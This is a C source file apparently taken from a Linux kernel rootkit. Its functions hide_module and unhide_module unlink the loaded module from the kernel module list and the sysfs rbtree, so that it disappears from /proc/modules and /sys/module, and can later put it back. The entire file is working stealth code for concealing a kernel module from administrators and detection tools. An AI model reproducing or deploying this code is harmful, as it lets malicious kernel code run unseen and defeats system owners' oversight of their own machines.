modhide.c (2382B)
1 #include <linux/kernfs.h> 2 #include <linux/module.h> 3 #include <linux/rbtree.h> 4 #include <linux/list.h> 5 #include <linux/hash.h> 6 7 #include "common.h" 8 #include "modhide.h" 9 10 static struct list_head *mod; 11 12 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334 13 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71 14 void 15 hide_module(void) 16 { 17 struct kernfs_node *sd; 18 19 if (mod) 20 return; 21 22 mod = THIS_MODULE->list.prev; 23 24 // sysfs directory entry 25 sd = THIS_MODULE->mkobj.kobj.sd; 26 27 // Remove from the rbtree of modules (/sys/module/) 28 rb_erase(&sd->rb, &sd->parent->dir.children); 29 30 // Remove from the list of modules (/proc/modules) 31 list_del(&THIS_MODULE->list); 32 } 33 34 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/module.h#L334 35 // https://elixir.bootlin.com/linux/v4.19/source/include/linux/kobject.h#L71 36 void 37 unhide_module(void) 38 { 39 struct kernfs_node *sd; 40 struct rb_root *root; 41 struct rb_node *parent; 42 struct rb_node **new; 43 44 if (!mod) 45 return; 46 47 sd = THIS_MODULE->mkobj.kobj.sd; 48 root = &sd->parent->dir.children; 49 new = &root->rb_node; 50 parent = NULL; 51 52 // Add back to the list of modules (/proc/modules) 53 list_add(&THIS_MODULE->list, mod); 54 55 { // Insert our module back into the rbtree of modules (/sys/module/) 56 // Search for the place to insert, insert, then rebalance tree, 57 // as per https://www.kernel.org/doc/Documentation/rbtree.txt 58 while (*new) { 59 int cmp; 60 struct kernfs_node *rb; 61 62 parent = *new; 63 rb = rb_entry(*new, struct kernfs_node, rb); 64 65 // https://elixir.bootlin.com/linux/v4.19/source/fs/kernfs/dir.c#L314 66 // Recurse toward insert position based on 1. hash, 67 // 2. (upon collision) namespace, and 3. (otherwise) name 68 cmp = (sd->hash == rb->hash) 69 ? ((sd->ns == rb->ns) 70 ? strcmp(sd->name, rb->name) 71 : sd->ns - rb->ns) 72 : sd->hash - rb->hash; 73 74 if (cmp < 0) 75 new = &((*new)->rb_left); 76 else if (cmp > 0) 77 new = &((*new)->rb_right); 78 else 79 return; 80 } 81 82 rb_link_node(&sd->rb, parent, new); 83 rb_insert_color(&sd->rb, root); 84 } 85 86 mod = NULL; 87 }